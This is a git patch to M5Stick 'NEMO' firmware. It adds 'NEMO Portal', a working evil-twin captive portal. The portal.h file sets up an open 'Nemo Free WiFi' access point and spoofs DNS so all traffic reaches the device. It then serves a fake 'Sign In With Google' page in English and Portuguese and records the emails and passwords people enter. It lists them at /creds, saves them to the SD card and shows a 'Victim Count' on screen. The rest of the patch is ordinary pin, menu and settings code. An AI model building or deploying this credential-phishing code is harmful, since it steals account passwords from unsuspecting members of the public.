From 9d284a3c812cb3d1cf1fdd940f7482ae29b0cbfb Mon Sep 17 00:00:00 2001 From: Noah Axon Date: Fri, 29 Dec 2023 22:34:45 -0600 Subject: [PATCH] Add NEMO Portal, a captive wifi portal, with SD Card support --- README.md | 1 + m5stick-nemo.ino | 188 ++++++++++++++++++++++++++++++++------------ portal.h | 198 +++++++++++++++++++++++++++++++++++++++++++++++ sd.h | 49 ++++++++++++ tvbg.h | 9 +-- 5 files changed, 390 insertions(+), 55 deletions(-) create mode 100644 portal.h create mode 100644 sd.h diff --git a/README.md b/README.md index 0127646..415c780 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,7 @@ NEMO is named after the small, clever and stubborn fish in Finding Nemo. This pr * [AppleJuice](https://github.com/ECTO-1A/AppleJuice) iOS Bluetooth device pairing spam * Bluetooth device notification spamming for SwiftPair (Windows) and Android * WiFi Spam - Funny SSIDs, WiFi Rickrolling, and a Random mode that creates hundreds of randomly-named SSIDs per minute +* WiFi NEMO Portal - A captive portal that tries to social engineer email credentials - saves usernames and passwords to SD Card (if inserted into a supported reader) * WiFi SSID Scanner - Display 2.4 GHz SSIDs nearby and get information about them * User-adjustable 24 Hour digital clock backed by the M5 Stick RTC so it holds relatively stable time even in deep sleep and low battery mode * EEPROM-backed Settings for rotation, brightness and, automatic dimming diff --git a/m5stick-nemo.ino b/m5stick-nemo.ino index 08644a8..b6dbd69 100644 --- a/m5stick-nemo.ino +++ b/m5stick-nemo.ino @@ -8,10 +8,14 @@ //#define CARDPUTER // -=-=- Uncommenting more than one at a time will result in errors -=-=- -String buildver="2.1.3"; +String buildver="2.2.1"; #define BGCOLOR BLACK #define FGCOLOR GREEN +// -=-=- NEMO Portal Language -=- Thanks, @marivaaldo! -=-=- +#define LANGUAGE_EN_US +//#define LANGUAGE_PT_BR + #if defined(STICK_C_PLUS) #include // -=-=- Display -=-=- @@ -27,9 +31,14 @@ String buildver="2.1.3"; #define ACTIVE_LOW_IR #define ROTATION #define USE_EEPROM + //#define SDCARD //Requires a custom-built adapter // -=-=- ALIASES -=-=- #define DISP M5.Lcd #define IRLED 9 + #define SPEAKER M5.Beep + #define SD_CLK_PIN 0 + #define SD_MISO_PIN 36 + #define SD_MOSI_PIN 26 #endif #if defined(STICK_C_PLUS2) @@ -41,10 +50,11 @@ String buildver="2.1.3"; #define SMALL_TEXT 2 #define TINY_TEXT 1 // -=-=- FEATURES -=-=- - // #define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work. #define ACTIVE_LOW_IR #define ROTATION - //#define USE_EEPROM //TODO: This won't work until RTC is sorted out + #define USE_EEPROM + //#define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work. + //#define SDCARD //Requires a custom-built adapter // -=-=- ALIASES -=-=- #define DISP M5.Lcd #define IRLED 19 @@ -53,6 +63,10 @@ String buildver="2.1.3"; #define M5_BUTTON_RST 39 //TODO: Figure out screen brightness on PLUS2 (if possible at all?) without AXP. #define BACKLIGHT 27 // best I can tell from the schematics? + #define SPEAKER M5.Beep + #define SD_CLK_PIN 0 + #define SD_MISO_PIN 36 + #define SD_MOSI_PIN 26 #endif #if defined(STICK_C) @@ -69,9 +83,14 @@ String buildver="2.1.3"; #define AXP #define ROTATION #define USE_EEPROM + //#define SDCARD //Requires a custom-built adapter // -=-=- ALIASES -=-=- #define DISP M5.Lcd #define IRLED 9 + #define SPEAKER M5.Beep + #define SD_CLK_PIN 0 + #define SD_MISO_PIN 36 + #define SD_MOSI_PIN 26 #endif #if defined(CARDPUTER) @@ -87,10 +106,16 @@ String buildver="2.1.3"; #define HID #define ACTIVE_LOW_IR #define USE_EEPROM + #define SDCARD // -=-=- ALIASES -=-=- #define DISP M5Cardputer.Display #define IRLED 44 #define BACKLIGHT 38 + #define SPEAKER M5Cardputer.Speaker + #define SD_CLK_PIN 40 + #define SD_MISO_PIN 39 + #define SD_MOSI_PIN 14 + #define SD_CS_PIN 12 #endif // -=-=-=-=-=- LIST OF CURRENTLY DEFINED FEATURES -=-=-=-=-=- @@ -102,34 +127,8 @@ String buildver="2.1.3"; // USE_EEPROM - Store settings in EEPROM // ROTATION - Allow screen to be rotated // DISP - Set to the API's Display class - -#include -#include -#include "applejuice.h" -#include "WORLD_IR_CODES.h" -#include "wifispam.h" -#include -#include - -int advtime = 0; -int cursor = 0; -int wifict = 0; -int brightness = 100; -int ajDelay = 1000; -bool rstOverride = false; // Reset Button Override. Set to true when navigating menus. -bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode -bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode -bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode -bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode -#if defined(USE_EEPROM) - #include - #define EEPROM_SIZE 4 -#endif - -struct MENU { - char name[19]; - int command; -}; +// SDCARD - Device has an SD Card Reader attached +// SPEAKER - Aliased to the prefix used for making noise /// SWITCHER /// // Proc codes @@ -145,13 +144,49 @@ struct MENU { // 9 - AppleJuice Advertisement // 10 - Credits // 11 - Wifi beacon spam -// 12 - Wifi spam menu +// 12 - Wifi tools menu // 13 - TV-B-Gone Region Setting // 14 - Wifi scanning // 15 - Wifi scan results // 16 - Bluetooth Spam Menu // 17 - Bluetooth Maelstrom // 18 - QR Codes +// 19 - NEMO Portal + +#include +#include +#include +#include +#include "applejuice.h" +#include "WORLD_IR_CODES.h" +#include "wifispam.h" +#include "sd.h" +#include "portal.h" +#include +#include + +int advtime = 0; +int cursor = 0; +int wifict = 0; +int brightness = 100; +int ajDelay = 1000; +bool rstOverride = false; // Reset Button Override. Set to true when navigating menus. +bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode +bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode +bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode +bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode +bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly +const byte PortalTickTimer = 1000; + +#if defined(USE_EEPROM) + #include + #define EEPROM_SIZE 4 +#endif + +struct MENU { + char name[19]; + int command; +}; struct QRCODE { char name[19]; @@ -231,6 +266,11 @@ void check_menu_press() { if (digitalRead(M5_BUTTON_MENU) == LOW){ #endif dimtimer(); + if(portal_active){ + // just in case we escape the portal with the main menu button + shutdownWebServer(); + portal_active = false; + } isSwitching = true; rstOverride = false; current_proc = 1; @@ -338,13 +378,15 @@ void dimtimer(){ } void screen_dim_proc() { - check_menu_press(); - check_next_press(); - check_select_press(); - if (screen_dim_dimmed == false) { - if (uptime() == screen_dim_current || (uptime() + 1) == screen_dim_current || (uptime() + 2) == screen_dim_current) { - screenBrightness(10); - screen_dim_dimmed = true; + if(screen_dim_time > 0){ + check_menu_press(); + check_next_press(); + check_select_press(); + if (screen_dim_dimmed == false) { + if (uptime() == screen_dim_current || (uptime() + 1) == screen_dim_current || (uptime() + 2) == screen_dim_current) { + screenBrightness(10); + screen_dim_dimmed = true; + } } } } @@ -352,12 +394,14 @@ void screen_dim_proc() { /// Dimmer MENU /// MENU dmenu[] = { { "Back", screen_dim_time}, + { "Never", 0}, { "5 seconds", 5}, { "10 seconds", 10}, { "15 seconds", 15}, - { "20 seconds", 20}, - { "25 seconds", 25}, { "30 seconds", 30}, + { "1 minute", 60}, + { "2 minutes", 120}, + { "4 minutes", 240}, }; int dmenu_size = sizeof(dmenu) / sizeof(MENU); @@ -366,7 +410,7 @@ void dmenu_setup() { DISP.setCursor(0, 5, 1); DISP.println("SET AUTO DIM TIME"); delay(1000); - cursor = (screen_dim_time / 5) - 1; + cursor = 0; rstOverride = true; drawmenu(dmenu, dmenu_size); delay(500); // Prevent switching after menu loads up @@ -1317,11 +1361,12 @@ void btmaelstrom_loop(){ /// WIFI MENU /// MENU wsmenu[] = { - { "Back", 4}, + { "Back", 5}, { "Scan Wifi", 0}, { "Spam Funny", 1}, { "Spam Rickroll", 2}, { "Spam Random", 3}, + { "NEMO Portal", 4}, }; int wsmenu_size = sizeof(wsmenu) / sizeof (MENU); @@ -1360,6 +1405,9 @@ void wsmenu_loop() { spamtype = 3; break; case 4: + current_proc = 19; + break; + case 5: current_proc = 1; break; } @@ -1546,6 +1594,38 @@ void qrmenu_loop() { } } +/// NEMO PORTAL + +void portal_setup(){ + setupWiFi(); + setupWebServer(); + portal_active = true; + cursor = 0; + rstOverride = true; + printHomeToScreen(); + delay(500); // Prevent switching after menu loads up +} + +void portal_loop(){ + if ((millis() - lastTick) > PortalTickTimer) { + lastTick = millis(); + if (totalCapturedCredentials != previousTotalCapturedCredentials) { + previousTotalCapturedCredentials = totalCapturedCredentials; + printHomeToScreen(); + } + } + dnsServer.processNextRequest(); + webServer.handleClient(); + if (check_next_press()){ + shutdownWebServer(); + portal_active = false; + rstOverride = false; + isSwitching = true; + current_proc = 12; + delay(500); + } +} + /// ENTRY /// void setup() { #if defined(CARDPUTER) @@ -1557,11 +1637,11 @@ void setup() { #endif #if defined(USE_EEPROM) EEPROM.begin(EEPROM_SIZE); - Serial.printf("EEPROM 0: %d\n", EEPROM.read(0)); - Serial.printf("EEPROM 1: %d\n", EEPROM.read(1)); - Serial.printf("EEPROM 2: %d\n", EEPROM.read(2)); - Serial.printf("EEPROM 3: %d\n", EEPROM.read(3)); - if(EEPROM.read(0) > 3 || EEPROM.read(1) > 30 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) { + Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0)); + Serial.printf("EEPROM 1 - Dim Time: %d\n", EEPROM.read(1)); + Serial.printf("EEPROM 2 - Brightness: %d\n", EEPROM.read(2)); + Serial.printf("EEPROM 3 - TVBG Reg: %d\n", EEPROM.read(3)); + if(EEPROM.read(0) > 3 || EEPROM.read(1) > 240 || EEPROM.read(2) > 100 || EEPROM.read(3) > 1) { // Assume out-of-bounds settings are a fresh/corrupt EEPROM and write defaults for everything Serial.println("EEPROM likely not properly configured. Writing defaults."); #if defined(CARDPUTER) @@ -1606,7 +1686,9 @@ void setup() { pAdvertising = pServer->getAdvertising(); BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); - // Finish with time to show logo + // Nemo Portal Init + setupSdCard(); + bootTime = lastActivity = millis(); } void loop() { @@ -1619,6 +1701,7 @@ void loop() { // Switcher if (isSwitching) { isSwitching = false; + Serial.printf("Switching To Task: %d\n", current_proc); switch (current_proc) { #if defined(RTC) case 0: @@ -1685,7 +1768,9 @@ void loop() { case 18: qrmenu_setup(); break; - + case 19: + portal_setup(); + break; } } @@ -1755,5 +1840,8 @@ void loop() { case 18: qrmenu_loop(); break; + case 19: + portal_loop(); + break; } } diff --git a/portal.h b/portal.h new file mode 100644 index 0000000..1dd376c --- /dev/null +++ b/portal.h @@ -0,0 +1,198 @@ +// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which +// has iterative iprovements over my own stand-alone M5Stick Evil Portal. +// Retaining the Portuguese translations since this project has a large +// fan base in Brazil. Shouts to CyberJulio as well. + +#define DEFAULT_AP_SSID_NAME "Nemo Free WiFi" +#define SD_CREDS_PATH "/nemo-portal-creds.txt" + +#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR) +#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR" +#endif + +#if defined(LANGUAGE_EN_US) +#define LOGIN_TITLE "Sign in" +#define LOGIN_SUBTITLE "Sign In With Google" +#define LOGIN_EMAIL_PLACEHOLDER "Email" +#define LOGIN_PASSWORD_PLACEHOLDER "Password" +#define LOGIN_MESSAGE "Please log in to browse securely." +#define LOGIN_BUTTON "Next" +#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet." +#elif defined(LANGUAGE_PT_BR) +#define LOGIN_TITLE "Fazer login" +#define LOGIN_SUBTITLE "Use sua Conta do Google" +#define LOGIN_EMAIL_PLACEHOLDER "E-mail" +#define LOGIN_PASSWORD_PLACEHOLDER "Senha" +#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura." +#define LOGIN_BUTTON "Avançar" +#define LOGIN_AFTER_MESSAGE "Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet." +#endif + +int totalCapturedCredentials = 0; +int previousTotalCapturedCredentials = 0; +String capturedCredentialsHtml = ""; +String apSsidName = String(DEFAULT_AP_SSID_NAME); + +// Init System Settings +const byte HTTP_CODE = 200; +const byte DNS_PORT = 53; +IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway +unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; +DNSServer dnsServer; +WebServer webServer(80); + +void setupWiFi() { + Serial.println("Initializing WiFi"); + WiFi.mode(WIFI_AP); + WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0)); + WiFi.softAP(apSsidName); +} + +void printHomeToScreen() { + DISP.fillScreen(BLACK); + DISP.setSwapBytes(true); + DISP.setTextSize(2); + DISP.setTextColor(TFT_RED, BGCOLOR); + DISP.setCursor(0, 10); + DISP.print("NEMO PORTAL"); + DISP.setTextColor(FGCOLOR, BGCOLOR); + DISP.setCursor(0, 35); + DISP.print("WiFi IP: "); + DISP.println(AP_GATEWAY); + DISP.printf("SSID: "); //, apSsidName); + DISP.print(apSsidName); + DISP.println(""); + DISP.printf("Victim Count: %d\n", totalCapturedCredentials); +} + +String getInputValue(String argName) { + String a = webServer.arg(argName); + a.replace("<", "<"); + a.replace(">", ">"); + a.substring(0, 200); + return a; +} + +String getHtmlContents(String body) { + String html = + "" + "" + "" + " " + + apSsidName + "" + " " + " " + " " + "" + "" + "
" + "
" + " " + " " + "
" + "
" + "
" + " " + "
" + "
" + + body + "
" + "
" + "
" + "" + ""; + return html; +} + +String creds_GET() { + return getHtmlContents("
    " + capturedCredentialsHtml + "

Back to Index

Clear passwords

"); +} + +String index_GET() { + String loginTitle = String(LOGIN_TITLE); + String loginSubTitle = String(LOGIN_SUBTITLE); + String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER); + String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER); + String loginMessage = String(LOGIN_MESSAGE); + String loginButton = String(LOGIN_BUTTON); + + return getHtmlContents("
" + loginTitle + "
" + loginSubTitle + "
" + loginMessage + "
"); +} + +String index_POST() { + String email = getInputValue("email"); + String password = getInputValue("password"); + capturedCredentialsHtml = "
  • Email: " + email + "
    Password: " + password + "
  • " + capturedCredentialsHtml; + +#if defined(SDCARD) + appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str()); +#endif + return getHtmlContents(LOGIN_AFTER_MESSAGE); +} + +String clear_GET() { + String email = "

    "; + String password = "

    "; + capturedCredentialsHtml = "

    "; + totalCapturedCredentials = 0; + return getHtmlContents("

    The credentials list has been reset.

    Back to capturedCredentialsHtml
    Back to Index
    "); +} + +#if defined(M5LED) +void blinkLed() { + int count = 0; + while (count < 5) { + digitalWrite(M5_LED, LOW); + delay(500); + digitalWrite(M5_LED, HIGH); + delay(500); + count = count + 1; + } +} +#endif + +void setupWebServer() { + Serial.println("Starting DNS"); + dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP) + Serial.println("Setting up Webserver"); + webServer.on("/post", []() { + totalCapturedCredentials = totalCapturedCredentials + 1; + webServer.send(HTTP_CODE, "text/html", index_POST()); +#if defined(STICK_C_PLUS) || defined(STICK_C) || defined(STICK_C_PLUS2) + SPEAKER.tone(4000); + delay(50); + SPEAKER.mute(); +#elif defined(CARDPUTER) + SPEAKER.tone(4000, 50); +#endif + DISP.print("Victim Login"); +#if defined(M5LED) + blinkLed(); +#endif + }); + Serial.println("Registering /creds"); + webServer.on("/creds", []() { + webServer.send(HTTP_CODE, "text/html", creds_GET()); + }); + Serial.println("Registering /clear"); + webServer.on("/clear", []() { + webServer.send(HTTP_CODE, "text/html", clear_GET()); + }); + Serial.println("Registering /*"); + webServer.onNotFound([]() { + lastActivity = millis(); + webServer.send(HTTP_CODE, "text/html", index_GET()); + }); + Serial.println("Starting Webserver"); + webServer.begin(); +} + +void shutdownWebServer() { + Serial.println("Stopping DNS"); + dnsServer.stop(); + Serial.println("Closing Webserver"); + webServer.close(); + Serial.println("Stopping Webserver"); + webServer.stop(); + Serial.println("Setting WiFi to STA mode"); + WiFi.mode(WIFI_MODE_STA); +} diff --git a/sd.h b/sd.h new file mode 100644 index 0000000..4946655 --- /dev/null +++ b/sd.h @@ -0,0 +1,49 @@ + +bool sdcardMounted = false; +#if defined(SDCARD) + #include + #include + #include + SPIClass* sdcardSPI = NULL; + SemaphoreHandle_t sdcardSemaphore; + + void appendToFile(fs::FS& fs, const char* path, const char* text) { + if (xSemaphoreTake(sdcardSemaphore, portMAX_DELAY) == pdTRUE) { + File file = fs.open(path, FILE_APPEND); + if (!file) { + Serial.println("Failed to open file for appending"); + xSemaphoreGive(sdcardSemaphore); + return; + } + Serial.printf("Appending text '%s' to file: %s\n", text, path); + if (file.println(text)) { + Serial.println("Text appended"); + } else { + Serial.println("Append failed"); + } + file.close(); + xSemaphoreGive(sdcardSemaphore); + } + } +#endif + +bool setupSdCard() { +#if defined(SDCARD) + sdcardSemaphore = xSemaphoreCreateMutex(); + sdcardSPI = new SPIClass(FSPI); + sdcardSPI->begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN); + + delay(10); + + if (!SD.begin(SD_CS_PIN, *sdcardSPI)) { + Serial.println("Failed to mount SDCARD"); + return false; + } else { + Serial.println("SDCARD mounted successfully"); + sdcardMounted = true; + return true; + } +#else + return false; +#endif +} diff --git a/tvbg.h b/tvbg.h index 65c1de0..a885ede 100644 --- a/tvbg.h +++ b/tvbg.h @@ -11,9 +11,6 @@ By Anton Grimpelhuber (anton.grimpelhuber@gmail.com) #define NA 0 //set by a HIGH on REGIONSWITCH pin #define EU 1 //set by a LOW on REGIONSWITCH pin -// What pins do what -#define LED 10 //LED indicator pin (built-in LED) - // Lets us calculate the size of the NA/EU databases #define NUM_ELEM(x) (sizeof (x) / sizeof (*(x))); @@ -91,9 +88,11 @@ void delay_ten_us(uint16_t us) { } void quickflashLED( void ) { - digitalWrite(LED, LOW); +#if defined(M5LED) + digitalWrite(M5_LED, LOW); delay_ten_us(3000); // 30 ms ON-time delay - digitalWrite(LED, HIGH); + digitalWrite(M5_LED, HIGH); +#endif } void quickflashLEDx( uint8_t x ) {